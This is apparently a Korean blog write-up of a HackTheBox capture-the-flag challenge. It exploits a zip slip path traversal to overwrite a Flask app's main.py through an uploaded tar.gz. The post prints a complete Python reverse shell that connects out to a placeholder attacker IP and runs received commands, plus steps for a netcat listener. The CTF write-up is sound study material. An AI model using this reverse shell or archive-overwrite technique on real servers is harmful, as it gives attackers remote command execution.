hackcatml 2021. 12. 30. 15:43
반응형

※ 문제 출처: https://app.hackthebox.com/challenges/slippy

 

zip slip attack 문제입니다. zip slip attack은 압축파일명에 ../../ 와 같은 path traversal 문구를 포함하여 압축 해제시 압축파일이 상위 디렉터리에 풀리도록 하는 공격 기법입니다.(출처: https://github.com/snyk/zip-slip-vulnerability)

2018년에 많은 CVE가 등록되었군요.

 

문제로 들어가서, tar.gz 파일을 업로드하면 압축을 해제하여 보여주고 있습니다.(test2.html을 압축한 test.tar.gz 파일을 업로드하였습니다.)

 

 

압축해제된 파일은 "/app/application/static/archives/<랜덤문자열>/" 경로에 저장되고 있습니다.

 

 

첨부된 파일을 다운로드하여 살펴보면 플라스크 웹서버 구동 시 "/app/application/main.py" 파일이 실행되는 구조입니다. 

따라서, main.py 파일을 reverse shell 파일로 바꿔치기하면 서버에 접근이 가능할 것 같습니다.

 

 

https://github.com/Lojacops/RevShell 에 간단한 파이썬 리버스쉘 코드가 있습니다. 이를 참고하여 main.py 파일을 만듭니다.

import socket                                                  
import os
import subprocess

target = '<attacker IP>'
targetport = <attacker port>
host = target
port = targetport
sep = "<->"

def main():
    try:
        s = socket.socket()
        s.connect((host, port))
        print("client on! Now, get manipulated!")
        cwd = os.getcwd()
        s.send(cwd.encode())
        while True:
            option = s.recv(1024).decode()
            splited_command = option.split()
            if option.lower() == "exit":
                break
            if splited_command[0].lower() == "cd":
                try:
                    os.chdir(' '.join(splited_command[1:]))
                except FileNotFoundError as e:
                    output = str(e)
                else:
                    output = ""
            else:
                output = subprocess.getoutput(option)
            cwd = os.getcwd()
            message = f"{output}{sep}{cwd}"
            s.send(message.encode())
        s.close()
    except TimeoutError:
        print("ERROR: unable to establish a connection.")
main()

 

 

이제 경로를 포함하여 .tar.gz 파일을 만듭니다. P 옵션을 사용하면 경로를 포함하여 압축할 수 있습니다.(man tar 참고)

 

 

칼리에서 netcat 서버 구동(라우터 포트포워딩 설정 필요) 해주고, 리버스쉘이 포함된 .tar.gz 파일 업로드하면 리버스쉘이 연결되어 플래그 획득이 가능합니다.

 

반응형